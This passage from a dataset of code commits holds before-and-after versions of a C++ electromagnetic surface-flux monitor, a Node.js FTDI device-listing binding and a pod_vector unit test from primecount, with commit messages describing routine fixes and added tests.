iE(i,j) += E*freq.get_sinf(j);\n                rH(i,j) += H*freq.get_cosf(j);\n                iH(i,j) += H*freq.get_sinf(j);\n            }\n            i += 1;\n        }\n        prevE(length) = F->Ez(isurf.b + isurf.tangent);\n    }\n\n    Eigen::ArrayXd surface_monitor::compute_flux() const {\n        Eigen::ArrayXd S = Eigen::ArrayXd::Zero(freq.size());\n\n        for (int j = 0; j != freq.size(); j++) {\n            for (int i = 0; i != length; i++) {\n                S[j] += rE(i,j)*rH(i,j) + iE(i,j)*iH(i,j);\n            }\n        }\n        S *= F->dx;\n        return S;\n    }\n\n    void surface_monitor::write_flux() {\n        auto S = compute_flux();\n        auto gName = get_group();\n\n        h5cpp::h5dset dset;\n        if (!gName.object_exists(\"flux\")) {\n            vector<hsize_t> dims = {hsize_t(freq.size())};\n            vector<hsize_t> max_dims = {hsize_t(freq.size())};\n            if (!extendable) {\n                h5cpp::dspace ds(dims, max_dims);\n                dset = gName.create_dataset(\"flux\", \n                             h5cpp::dtype::Double, ds); \n            }\n            else {\n                dims.push_back(1);\n                max_dims.push_back(h5cpp::inf);\n                vector<hsize_t> chunk_dims = dims;\n                h5cpp::dspace ds(dims, max_dims, chunk_dims);\n                dset = gName.create_dataset(\"flux\", \n                             h5cpp::dtype::Double, ds); \n            }\n            dset.write(S.data());\n        }\n        else {\n            dset = gName.open_dataset(\"flux\");\n            dset.append(S.data());\n        }\n    }\n}\n\n\n<commit_msg>surface monitor flux calculations fixed<commit_after>#include <vector>\n#include <string>\n#include <iostream>\n#include <math.h>\n#include \"matrix.h\"\n#include \"field2.h\"\n#include \"monitors\/surface_monitor.h\"\n\nusing namespace std;\n\n\nnamespace qbox {\n    surface_monitor::surface_monitor(string name, const surface &surf, const freq_data &freq, bool extendable): monitor(name,freq,extendable), surf(surf), dir(0), length(0) {\n        F = nullptr;\n    }\n\n    void surface_monitor::set_F(Field2D *newF) {\n        monitor::set_F(newF);\n        auto isurf = newF->grid.to_grid(surf);\n        length = isurf.dim.norm();\n\n        prevE = matrix<double,1>(length+1);\n        rE = matrix<double,2>(length, freq.size());\n        iE = matrix<double,2>(length, freq.size());\n        rH = matrix<double,2>(length, freq.size());\n        iH = matrix<double,2>(length, freq.size());\n\n        for (int i = 0; i != length; i++) {\n            prevE(i) = 0;\n            for (int j = 0; j!= freq.size(); j++) {\n                rE(i,j) = 0;\n                iE(i,j) = 0;\n                rH(i,j) = 0;\n                iH(i,j) = 0;\n            }\n        }\n        prevE(length) = 0;\n\n        auto gName = get_group();\n        auto dspace = h5cpp::dspace(vector<hsize_t>{2});\n        auto attr = gName.create_attribute(\"p1\", h5cpp::dtype::Double, dspace);\n        attr.write(surf.a.data());\n        attr = gName.create_attribute(\"p2\", h5cpp::dtype::Double, dspace);\n        attr.write(surf.b.data());\n    }\n\n    void surface_monitor::update() {\n        \/\/*** this dir, Hfield combo is bad design (maybe use enum)\n        auto isurf = F->grid.to_grid(surf);\n        auto *Hfield = isurf.dim[0] == 0 ? &F->Hy : &F->Hx;\n\n        double E = 0;\n        double H = 0;\n        freq.update(F->t);\n\n        int i = 0;\n        for (ivec p = isurf.a; p != isurf.b; p += isurf.tangent) {\n            H = ((*Hfield)(p)+ (*Hfield)(p - isurf.normal)\n                    + (*Hfield)(p + isurf.tangent) + (*Hfield)(p - isurf.normal + isurf.tangent))\/4;\n            E = (F->Ez(p) + F->Ez(p + isurf.tangent)\n                    + prevE(i) + prevE(i+1))\/4;\n\n            prevE(i) = F->Ez(p);\n\n            for (int j = 0; j != freq.size(); j++) {\n                rE(i,j) += E*freq.get_cosf(j);\n                iE(i,j) += E*freq.get_sinf(j);\n                rH(i,j) += H*freq.get_cosf(j);\n                iH(i,j) += H*freq.get_sinf(j);\n            }\n            i += 1;\n        }\n        prevE(length) = F->Ez(isurf.b);\n    }\n\n    Eigen::ArrayXd surface_monitor::compute_flux() const {\n        Eigen::ArrayXd S = Eigen::ArrayXd::Zero(freq.size());\n\n        for (int j = 0; j != freq.size(); j++) {\n            for (int i = 0; i != length; i++) {\n                S[j] += rE(i,j)*rH(i,j) + iE(i,j)*iH(i,j);\n            }\n        }\n        S *= F->dx;\n        return S;\n    }\n\n    void surface_monitor::write_flux() {\n        auto S = compute_flux();\n        auto gName = get_group();\n\n        h5cpp::h5dset dset;\n        if (!gName.object_exists(\"flux\")) {\n            vector<hsize_t> dims = {hsize_t(freq.size())};\n            vector<hsize_t> max_dims = {hsize_t(freq.size())};\n            if (!extendable) {\n                h5cpp::dspace ds(dims, max_dims);\n                dset = gName.create_dataset(\"flux\", \n                             h5cpp::dtype::Double, ds); \n            }\n            else {\n                dims.push_back(1);\n                max_dims.push_back(h5cpp::inf);\n                vector<hsize_t> chunk_dims = dims;\n                h5cpp::dspace ds(dims, max_dims, chunk_dims);\n                dset = gName.create_dataset(\"flux\", \n                             h5cpp::dtype::Double, ds); \n            }\n            dset.write(S.data());\n        }\n        else {\n            dset = gName.open_dataset(\"flux\");\n            dset.append(S.data());\n        }\n    }\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include <stdlib.h>\n\n#include \"ftdi_driver.h\"\n#include \"ftdi_constants.h\"\n\nusing namespace v8;\nusing namespace node;\n\n\/**********************************\n * Local typedefs\n **********************************\/\nstruct DeviceListBaton\n{\n    Persistent<Value> callback;\n    FT_DEVICE_LIST_INFO_NODE *devInfo;\n    DWORD listLength;\n    FT_STATUS status;\n    int vid;\n    int pid;\n\n    DeviceListBaton()\n    {\n        devInfo = NULL;\n    }\n};\n\n\n\/**********************************\n * Local Helper Functions protoypes\n **********************************\/\nbool DeviceMatchesFilterCriteria(FT_DEVICE_LIST_INFO_NODE *devInfo, int filterVid, int filterPid);\n\n\n\n\/**********************************\n * Local Variables\n **********************************\/\nuv_mutex_t libraryMutex;\nuv_mutex_t vidPidMutex;\n\n\n\n\/**********************************\n * Functions\n **********************************\/\nvoid InitializeList(Handle<Object> target) \n{\n    Persistent<FunctionTemplate> constructor_template;\n    Local<FunctionTemplate> t = FunctionTemplate::New();\n    constructor_template = Persistent<FunctionTemplate>::New(t);\n    constructor_template->SetClassName(String::NewSymbol(\"FtdiDriver\"));\n    constructor_template->InstanceTemplate()->SetInternalFieldCount(1);\n\n    NODE_SET_METHOD(constructor_template, \"findAll\", FindAll);\n    target->Set(String::NewSymbol(\"FtdiDriver\"), constructor_template->GetFunction());\n\n    uv_mutex_init(&vidPidMutex);\n}\n\nvoid FindAllAsync(uv_work_t* req)\n{\n    DeviceListBaton* listBaton = static_cast<DeviceListBaton*>(req->data);\n\n    FT_STATUS ftStatus;\n    DWORD numDevs = 0;\n\n    \/\/ Lock Readout\n    uv_mutex_lock(&vidPidMutex);\n\n#ifndef WIN32\n    if(listBaton->vid != 0 && listBaton->pid != 0)\n    {\n        uv_mutex_lock(&libraryMutex);  \n        ftStatus = FT_SetVIDPID(listBaton->vid, listBaton->pid);\n        uv_mutex_unlock(&libraryMutex);  \n    }\n#endif\n    \/\/ create the device information list\n    uv_mutex_lock(&libraryMutex);  \n    ftStatus = FT_CreateDeviceInfoList(&numDevs);\n    uv_mutex_unlock(&libraryMutex);\n    if (ftStatus == FT_OK) \n    {\n        if (numDevs > 0) \n        {\n            \/\/ allocate storage for list based on numDevs\n            listBaton->devInfo =  (FT_DEVICE_LIST_INFO_NODE*) malloc(sizeof(FT_DEVICE_LIST_INFO_NODE) * numDevs); \n            \n            \/\/ get the device information list\n            uv_mutex_lock(&libraryMutex);\n            ftStatus = FT_GetDeviceInfoList(listBaton->devInfo, &numDevs); \n            uv_mutex_unlock(&libraryMutex);\n        }\n    }\n    uv_mutex_unlock(&vidPidMutex);  \n\n    listBaton->listLength = numDevs;              \n    listBaton->status = ftStatus;\n}\n\nvoid FindAllFinished(uv_work_t* req)\n{\n    DeviceListBaton* listBaton = static_cast<DeviceListBaton*>(req->data);\n\n    \/\/printf(\"Num DevFound: %d, status: %d\\r\\n\", listBaton->listLength, listBaton->status);\n\n    Handle<Value> argv[2];\n\n    if(listBaton->status == FT_OK)\n    {\n        \/\/ Determine the length of the resulting list \n        int resultListLength = 0;\n        for (DWORD i = 0; i < listBaton->listLength; i++) \n        {\n            if(DeviceMatchesFilterCriteria(&listBaton->devInfo[i], listBaton->vid, listBaton->pid))\n            {\n                resultListLength++;\n            }\n        }\n\n        \/\/ Create Java Script Array for the resulting devices\n        Local<Array> array= Array::New(resultListLength);\n        \n        int index = 0;\n        for (DWORD i = 0; i < listBaton->listLength; i++) \n        {\n            \/\/ Add device to the array in case it matches the criteria\n            if(DeviceMatchesFilterCriteria(&listBaton->devInfo[i], listBaton->vid, listBaton->pid))\n            {\n                Local<Object> obj = Object::New();\n                obj->Set(String::New(DEVICE_DESCRIPTION_TAG), String::New(listBaton->devInfo[i].Description));\n                obj->Set(String::New(DEVICE_SERIAL_NR_TAG), String::New(listBaton->devInfo[i].SerialNumber));\n                obj->Set(String::New(DEVICE_LOCATION_ID_TAG), Number::New(listBaton->devInfo[i].LocId));\n                obj->Set(String::New(DEVICE_INDEX_TAG), Number::New(i));\n                obj->Set(String::New(DEVICE_VENDOR_ID_TAG), Number::New( (listBaton->devInfo[i].ID >> 16) & (0xFFFF)));\n                obj->Set(String::New(DEVICE_PRODUCT_ID_TAG), Number::New( (listBaton->devInfo[i].ID) & (0xFFFF)));\n                array->Set(index++, obj);\n            }\n        }\n\n        argv[1] = array;\n    }\n    else\n    {\n        argv[1] = Undefined();\n    }\n    argv[0] = Number::New(listBaton->status);\n\n    Function::Cast(*listBaton->callback)->Call(Context::GetCurrent()->Global(), 2, argv);\n\n    if(listBaton->devInfo != NULL)\n    {\n        free(listBaton->devInfo);\n    }\n}\n\nHandle<Value> FindAll(const Arguments& args) \n{\n    HandleScope scope;\n\n    int vid = 0;\n    int pid = 0;\n\n    if (args.Length() != 3) \n    {\n        ThrowException(Exception::TypeError(String::New(\"Wrong number of Arguments\")));\n    }\n    if (args[0]->IsNumber() && args[1]->IsNumber()) \n    {\n        vid = (int) args[0]->NumberValue();\n        pid = (int) args[1]->NumberValue();\n    }\n\n    \/\/ callback\n    if(!args[2]->IsFunction()) \n    {\n        return scope.Close(v8::ThrowException(v8::Exception::TypeError(v8::String::New(\"Third argument must be a function\"))));\n    }\n    Local<Value> callback = args[2];\n\n    DeviceListBaton* listBaton = new DeviceListBaton();\n    listBaton->callback = Persistent<Value>::New(callback);\n    listBaton->vid = vid;\n    listBaton->pid = pid;\n\n    uv_work_t* req = new uv_work_t();\n    req->data = listBaton;\n    uv_queue_work(uv_default_loop(), req, FindAllAsync, (uv_after_work_cb)FindAllFinished);\n\n    return scope.Close(v8::Undefined());\n}\n\nbool DeviceMatchesFilterCriteria(FT_DEVICE_LIST_INFO_NODE *devInfo, int filterVid, int filterPid)\n{\n    int devVid = (devInfo->ID >> 16) & (0xFFFF);\n    int devPid = (devInfo->ID) & (0xFFFF); \n\n    if(filterVid == 0 && filterPid == 0)\n    {\n        return true;\n    }\n    if(filterVid != 0 && filterVid != devVid)\n    {\n        return false;\n    }\n    if(filterPid != 0 && filterPid != devPid)\n    {\n        return false;\n    }\n    return true;\n}\n\n<commit_msg>Fallback for empty fields in find function<commit_after>#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"ftdi_driver.h\"\n#include \"ftdi_constants.h\"\n\nusing namespace v8;\nusing namespace node;\n\n\/**********************************\n * Local typedefs\n **********************************\/\nstruct DeviceListBaton\n{\n    Persistent<Value> callback;\n    FT_DEVICE_LIST_INFO_NODE *devInfo;\n    DWORD listLength;\n    FT_STATUS status;\n    int vid;\n    int pid;\n\n    DeviceListBaton()\n    {\n        devInfo = NULL;\n    }\n};\n\n\n\/**********************************\n * Local Helper Functions protoypes\n **********************************\/\nbool DeviceMatchesFilterCriteria(FT_DEVICE_LIST_INFO_NODE *devInfo, int filterVid, int filterPid);\n\n\n\n\/**********************************\n * Local Variables\n **********************************\/\nuv_mutex_t libraryMutex;\nuv_mutex_t vidPidMutex;\n\n\n\n\/**********************************\n * Functions\n **********************************\/\nvoid InitializeList(Handle<Object> target) \n{\n    Persistent<FunctionTemplate> constructor_template;\n    Local<FunctionTemplate> t = FunctionTemplate::New();\n    constructor_template = Persistent<FunctionTemplate>::New(t);\n    constructor_template->SetClassName(String::NewSymbol(\"FtdiDriver\"));\n    constructor_template->InstanceTemplate()->SetInternalFieldCount(1);\n\n    NODE_SET_METHOD(constructor_template, \"findAll\", FindAll);\n    target->Set(String::NewSymbol(\"FtdiDriver\"), constructor_template->GetFunction());\n\n    uv_mutex_init(&vidPidMutex);\n}\n\nvoid FindAllAsync(uv_work_t* req)\n{\n    DeviceListBaton* listBaton = static_cast<DeviceListBaton*>(req->data);\n\n    FT_STATUS ftStatus;\n    DWORD numDevs = 0;\n\n    \/\/ Lock Readout\n    uv_mutex_lock(&vidPidMutex);\n\n#ifndef WIN32\n    if(listBaton->vid != 0 && listBaton->pid != 0)\n    {\n        uv_mutex_lock(&libraryMutex);  \n        ftStatus = FT_SetVIDPID(listBaton->vid, listBaton->pid);\n        uv_mutex_unlock(&libraryMutex);  \n    }\n#endif\n    \/\/ create the device information list\n    uv_mutex_lock(&libraryMutex);  \n    ftStatus = FT_CreateDeviceInfoList(&numDevs);\n    uv_mutex_unlock(&libraryMutex);\n    if (ftStatus == FT_OK) \n    {\n        if (numDevs > 0) \n        {\n            \/\/ allocate storage for list based on numDevs\n            listBaton->devInfo =  (FT_DEVICE_LIST_INFO_NODE*) malloc(sizeof(FT_DEVICE_LIST_INFO_NODE) * numDevs); \n            memset(listBaton->devInfo, 0, sizeof(FT_DEVICE_LIST_INFO_NODE) * numDevs);\n            \n            \/\/ get the device information list\n            uv_mutex_lock(&libraryMutex);\n            ftStatus = FT_GetDeviceInfoList(listBaton->devInfo, &numDevs); \n            uv_mutex_unlock(&libraryMutex);\n\n            for(DWORD i = 0; i < numDevs; i++)\n            {\n                if(strlen(listBaton->devInfo[i].SerialNumber) == 0)\n                {\n                    FT_ListDevices((PVOID)i, listBaton->devInfo[i].SerialNumber, FT_LIST_BY_INDEX | FT_OPEN_BY_SERIAL_NUMBER);\n                }\n                if(strlen(listBaton->devInfo[i].Description) == 0)\n                {\n                    FT_ListDevices((PVOID)i, listBaton->devInfo[i].Description, FT_LIST_BY_INDEX | FT_OPEN_BY_DESCRIPTION);\n                }\n                if(listBaton->devInfo[i].LocId == 0)\n                {\n                    FT_ListDevices((PVOID)i, &listBaton->devInfo[i].LocId, FT_LIST_BY_INDEX | FT_OPEN_BY_LOCATION);\n                }\n            }\n        }\n    }\n    uv_mutex_unlock(&vidPidMutex);  \n\n    listBaton->listLength = numDevs;              \n    listBaton->status = ftStatus;\n}\n\nvoid FindAllFinished(uv_work_t* req)\n{\n    DeviceListBaton* listBaton = static_cast<DeviceListBaton*>(req->data);\n\n    \/\/printf(\"Num DevFound: %d, status: %d\\r\\n\", listBaton->listLength, listBaton->status);\n\n    Handle<Value> argv[2];\n\n    if(listBaton->status == FT_OK)\n    {\n        \/\/ Determine the length of the resulting list \n        int resultListLength = 0;\n        for (DWORD i = 0; i < listBaton->listLength; i++) \n        {\n            if(DeviceMatchesFilterCriteria(&listBaton->devInfo[i], listBaton->vid, listBaton->pid))\n            {\n                resultListLength++;\n            }\n        }\n\n        \/\/ Create Java Script Array for the resulting devices\n        Local<Array> array= Array::New(resultListLength);\n        \n        int index = 0;\n        for (DWORD i = 0; i < listBaton->listLength; i++) \n        {\n            \/\/ Add device to the array in case it matches the criteria\n            if(DeviceMatchesFilterCriteria(&listBaton->devInfo[i], listBaton->vid, listBaton->pid))\n            {\n                Local<Object> obj = Object::New();\n                obj->Set(String::New(DEVICE_DESCRIPTION_TAG), String::New(listBaton->devInfo[i].Description));\n                obj->Set(String::New(DEVICE_SERIAL_NR_TAG), String::New(listBaton->devInfo[i].SerialNumber));\n                obj->Set(String::New(DEVICE_LOCATION_ID_TAG), Number::New(listBaton->devInfo[i].LocId));\n                obj->Set(String::New(DEVICE_INDEX_TAG), Number::New(i));\n                obj->Set(String::New(DEVICE_VENDOR_ID_TAG), Number::New( (listBaton->devInfo[i].ID >> 16) & (0xFFFF)));\n                obj->Set(String::New(DEVICE_PRODUCT_ID_TAG), Number::New( (listBaton->devInfo[i].ID) & (0xFFFF)));\n                array->Set(index++, obj);\n            }\n        }\n\n        argv[1] = array;\n    }\n    else\n    {\n        argv[1] = Undefined();\n    }\n    argv[0] = Number::New(listBaton->status);\n\n    Function::Cast(*listBaton->callback)->Call(Context::GetCurrent()->Global(), 2, argv);\n\n    if(listBaton->devInfo != NULL)\n    {\n        free(listBaton->devInfo);\n    }\n}\n\nHandle<Value> FindAll(const Arguments& args) \n{\n    HandleScope scope;\n\n    int vid = 0;\n    int pid = 0;\n\n    if (args.Length() != 3) \n    {\n        ThrowException(Exception::TypeError(String::New(\"Wrong number of Arguments\")));\n    }\n    if (args[0]->IsNumber() && args[1]->IsNumber()) \n    {\n        vid = (int) args[0]->NumberValue();\n        pid = (int) args[1]->NumberValue();\n    }\n\n    \/\/ callback\n    if(!args[2]->IsFunction()) \n    {\n        return scope.Close(v8::ThrowException(v8::Exception::TypeError(v8::String::New(\"Third argument must be a function\"))));\n    }\n    Local<Value> callback = args[2];\n\n    DeviceListBaton* listBaton = new DeviceListBaton();\n    listBaton->callback = Persistent<Value>::New(callback);\n    listBaton->vid = vid;\n    listBaton->pid = pid;\n\n    uv_work_t* req = new uv_work_t();\n    req->data = listBaton;\n    uv_queue_work(uv_default_loop(), req, FindAllAsync, (uv_after_work_cb)FindAllFinished);\n\n    return scope.Close(v8::Undefined());\n}\n\nbool DeviceMatchesFilterCriteria(FT_DEVICE_LIST_INFO_NODE *devInfo, int filterVid, int filterPid)\n{\n    int devVid = (devInfo->ID >> 16) & (0xFFFF);\n    int devPid = (devInfo->ID) & (0xFFFF); \n\n    if(filterVid == 0 && filterPid == 0)\n    {\n        return true;\n    }\n    if(filterVid != 0 && filterVid != devVid)\n    {\n        return false;\n    }\n    if(filterPid != 0 && filterPid != devPid)\n    {\n        return false;\n    }\n    return true;\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>pbroadcast4\/2 assume aligned memory<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>test: new unit test for callbacks<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\/\n\/\/\/ @file   pod_vector.cpp\n\/\/\/ @brief  Plain old data vector, like std::vector but does not \n\/\/\/         default initialize memory.\n\/\/\/\n\/\/\/ Copyright (C) 2022 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <pod_vector.hpp>\n\n#include <cstdlib>\n#include <iostream>\n#include <random>\n#include <numeric>\n#include <utility>\n\nusing std::size_t;\nusing primecount::pod_vector;\n\nvoid check(bool OK)\n{\n  std::cout << \"   \" << (OK ? \"OK\" : \"ERROR\") << \"\\n\";\n  if (!OK)\n    std::exit(1);\n}\n\nint main()\n{\n  \/\/ The pod_vector class uses std::vector internally. For\n  \/\/ performance reasons we want vector::resize() not to\n  \/\/ free memory when resizing to a smaller size. The C++\n  \/\/ standard seems to indirectly guarantee this behavior,\n  \/\/ but it is not 100% clear. So this tests verifies this\n  \/\/ behavior.\n\n  \/\/ Allocate from 1 KiB to 128 MiB\n  for (size_t i = 10; i <= 27; i++)\n  {\n    pod_vector<char> vect;\n    vect.resize(size_t(1) << i);\n    auto capacity1 = vect.capacity();\n    vect.resize(100);\n    auto capacity2 = vect.capacity();\n\n    std::cout << \"vect.resize(100).capacity = \" << capacity1;\n    check(capacity1 == capacity2);\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<std::size_t> dist(100, 200);\n\n    std::size_t n = dist(gen);\n    pod_vector<size_t> vect;\n\n    for (size_t i = 0; i <= n; i++)\n      vect.push_back(i);\n\n    for (size_t i = 0; i <= n; i++)\n    {\n      std::cout << \"vect.push_back(\" << i << \") = \" << i;\n      check(vect[i] == i);\n    }\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<std::size_t> dist(100, 200);\n\n    std::size_t size = dist(gen);\n\n    \/\/ pod_vector does not default initialize POD types\n    \/\/ but it does initialize classes and structs with constructors.\n    struct pod_t\n    {\n      pod_t() = default;\n      pod_t(int i, int j) : a(i), b(j) { }\n      int a = 100;\n      int b = 200;\n    };\n\n    pod_vector<pod_t> vect(size);\n\n    for (size_t i = 0; i < size; i++)\n    {\n      std::cout << \"vect[i].a = \" << vect[i].a;\n      check(vect[i].a == 100);\n      std::cout << \"vect[i].b = \" << vect[i].b;\n      check(vect[i].b == 200);\n    }\n\n    vect.emplace_back(7, 8);\n    std::cout << \"vect.emplace_back(7, 8) = \" << vect.back().a;\n    check(vect.back().a == 7);\n    std::cout << \"vect.emplace_back(7, 8) = \" << vect.back().b;\n    check(vect.back().b == 8);\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<std::size_t> dist(10000, 20000);\n\n    std::size_t n = dist(gen);\n    pod_vector<int> vect;\n    vect.reserve(n);\n\n    std::cout << \"Vect size after reserve: \" << vect.size();\n    check(vect.size() == 0);\n    std::cout << \"Vect empty after reserve: \" << vect.empty();\n    check(vect.empty() == true);\n    std::cout << \"Vect capacity after reserve: \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.reserve(n \/ 2);\n    std::cout << \"Vect size after reserve\/2: \" << vect.size();\n    check(vect.size() == 0);\n    std::cout << \"Vect empty after reserve\/2: \" << vect.empty();\n    check(vect.empty() == true);\n    std::cout << \"Vect capacity after reserve\/2: \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.resize(n);\n    std::cout << \"Vect size after resize: \" << vect.size();\n    check(vect.size() == n);\n    std::cout << \"Vect capacity after resize: \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.resize(n \/ 2);\n    std::cout << \"Vect size after resize\/2: \" << vect.size();\n    check(vect.size() == n \/ 2);\n    std::cout << \"Vect capacity after resize\/2: \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.resize(n * 2);\n    std::cout << \"Vect size after resize*2: \" << vect.size();\n    check(vect.size() == n * 2);\n    std::cout << \"Vect capacity after resize*2: \" << vect.capacity();\n    check(vect.capacity() >= n * 2);\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<int> dist(10000, 20000);\n\n    int size = dist(gen);\n    pod_vector<int> vect(size);\n    std::fill_n(&vect[0], size, 123);\n\n    \/\/ Test if resize does not default initilize\n    vect.resize(0);\n    vect.resize(size);\n    int sum = std::accumulate(&vect[0], &vect[0] + vect.size(), 0);\n    std::cout << \"Vect sum after resize: \" << sum;\n    check(sum == 123 * size);\n    std::cout << \"Vect.end(): \" << vect.end();\n    check(vect.end() == vect.begin() + vect.size());\n\n    \/\/ Test reallocation (old content must be copied into new vector)\n    vect.resize(vect.size() * 2);\n    sum = std::accumulate(&vect[0], &vect[0] + size, 0);\n    std::cout << \"Vect sum after reallocation: \" << sum;\n    check(sum == 123 * size);\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<int> dist(10000, 20000);\n\n    int size = dist(gen);\n    pod_vector<int> vect(size);\n    std::fill_n(&vect[0], size, 123);\n\n    pod_vector<int> vect2 = std::move(vect);\n    std::cout << \"Vect1 empty after std::move: \" << vect.empty();\n    check(vect.empty() == true);\n    int sum = std::accumulate(vect2.begin(), vect2.end(), 0);\n    std::cout << \"Vect2 sum after std::move: \" << sum;\n    check(sum == 123 * size);\n  }\n\n  std::cout << std::endl;\n  std::cout << \"All tests passed successfully!\" << std::endl;\n\n  return 0;\n}\n<commit_msg>Add more tests<commit_after>\/\/\/\n\/\/\/ @file   pod_vector.cpp\n\/\/\/ @brief  Plain old data vector, like std::vector but does not \n\/\/\/         default initialize memory.\n\/\/\/\n\/\/\/ Copyright (C) 2022 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <pod_vector.hpp>\n\n#include <cstdlib>\n#include <iostream>\n#include <random>\n#include <numeric>\n#include <utility>\n\nusing std::size_t;\nusing primecount::pod_vector;\n\nvoid check(bool OK)\n{\n  std::cout << \"   \" << (OK ? \"OK\" : \"ERROR\") << \"\\n\";\n  if (!OK)\n    std::exit(1);\n}\n\nint main()\n{\n  \/\/ The pod_vector class uses std::vector internally. For\n  \/\/ performance reasons we want vector::resize() not to\n  \/\/ free memory when resizing to a smaller size. The C++\n  \/\/ standard seems to indirectly guarantee this behavior,\n  \/\/ but it is not 100% clear. So this tests verifies this\n  \/\/ behavior.\n\n  \/\/ Allocate from 1 KiB to 128 MiB\n  for (size_t i = 10; i <= 27; i++)\n  {\n    pod_vector<char> vect;\n    vect.resize(size_t(1) << i);\n    auto capacity1 = vect.capacity();\n    vect.resize(100);\n    auto capacity2 = vect.capacity();\n\n    std::cout << \"vect.resize(100).capacity = \" << capacity1;\n    check(capacity1 == capacity2);\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<std::size_t> dist(100, 200);\n\n    std::size_t n = dist(gen);\n    pod_vector<size_t> vect;\n\n    for (size_t i = 0; i <= n; i++)\n      vect.push_back(i);\n\n    for (size_t i = 0; i <= n; i++)\n    {\n      std::cout << \"vect.push_back(\" << i << \") = \" << i;\n      check(vect[i] == i);\n    }\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<std::size_t> dist(100, 200);\n\n    std::size_t size = dist(gen);\n\n    \/\/ pod_vector does not default initialize POD types\n    \/\/ but it does initialize classes and structs with constructors.\n    struct pod_t\n    {\n      pod_t() = default;\n      pod_t(int i, int j) : a(i), b(j) { }\n      int a = 100;\n      int b = 200;\n    };\n\n    pod_vector<pod_t> vect(size);\n\n    for (size_t i = 0; i < size; i++)\n    {\n      std::cout << \"vect[i].a = \" << vect[i].a;\n      check(vect[i].a == 100);\n      std::cout << \"vect[i].b = \" << vect[i].b;\n      check(vect[i].b == 200);\n    }\n\n    vect.emplace_back(7, 8);\n    std::cout << \"vect.emplace_back(7, 8) = \" << vect.back().a;\n    check(vect.back().a == 7);\n    std::cout << \"vect.emplace_back(7, 8) = \" << vect.back().b;\n    check(vect.back().b == 8);\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<std::size_t> dist(10000, 20000);\n\n    std::size_t n = dist(gen);\n    pod_vector<int> vect;\n    vect.resize(0);\n\n    std::cout << \"Vect size after resize(0): \" << vect.size();\n    check(vect.size() == 0);\n    std::cout << \"Vect capacity after resize(0): \" << vect.capacity();\n    check(vect.capacity() == 0);\n\n    vect.reserve(n);\n\n    std::cout << \"Vect size after reserve(n): \" << vect.size();\n    check(vect.size() == 0);\n    std::cout << \"Vect empty after reserve(n): \" << vect.empty();\n    check(vect.empty() == true);\n    std::cout << \"Vect capacity after reserve(n): \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.reserve(n \/ 2);\n    std::cout << \"Vect size after reserve(n\/2): \" << vect.size();\n    check(vect.size() == 0);\n    std::cout << \"Vect empty after reserve(n\/2): \" << vect.empty();\n    check(vect.empty() == true);\n    std::cout << \"Vect capacity after reserve(n\/2): \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.resize(n);\n    std::cout << \"Vect size after resize(n): \" << vect.size();\n    check(vect.size() == n);\n    std::cout << \"Vect capacity after resize(n): \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.resize(n);\n    std::cout << \"Vect size after 2nd resize(n): \" << vect.size();\n    check(vect.size() == n);\n    std::cout << \"Vect capacity after 2nd resize(n): \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.resize(n \/ 2);\n    std::cout << \"Vect size after resize(n\/2): \" << vect.size();\n    check(vect.size() == n \/ 2);\n    std::cout << \"Vect capacity after resize(n\/2): \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.resize(0);\n    std::cout << \"Vect size after resize(0): \" << vect.size();\n    check(vect.size() == 0);\n    std::cout << \"Vect capacity after resize(0): \" << vect.capacity();\n    check(vect.capacity() == n);\n\n    vect.resize(n * 2);\n    std::cout << \"Vect size after resize(n*2): \" << vect.size();\n    check(vect.size() == n * 2);\n    std::cout << \"Vect capacity after resize(n*2): \" << vect.capacity();\n    check(vect.capacity() >= n * 2);\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<int> dist(10000, 20000);\n\n    int size = dist(gen);\n    pod_vector<int> vect(size);\n    std::fill_n(&vect[0], size, 123);\n\n    \/\/ Test if resize does not default initilize\n    vect.resize(0);\n    vect.resize(size);\n    int sum = std::accumulate(&vect[0], &vect[0] + vect.size(), 0);\n    std::cout << \"Vect sum after resize: \" << sum;\n    check(sum == 123 * size);\n    std::cout << \"Vect.end(): \" << vect.end();\n    check(vect.end() == vect.begin() + vect.size());\n\n    \/\/ Test reallocation (old content must be copied into new vector)\n    vect.resize(vect.size() * 2);\n    sum = std::accumulate(&vect[0], &vect[0] + size, 0);\n    std::cout << \"Vect sum after reallocation: \" << sum;\n    check(sum == 123 * size);\n  }\n\n  {\n    std::random_device rd;\n    std::mt19937 gen(rd());\n    std::uniform_int_distribution<int> dist(10000, 20000);\n\n    int size = dist(gen);\n    pod_vector<int> vect(size);\n    std::fill_n(&vect[0], size, 123);\n\n    pod_vector<int> 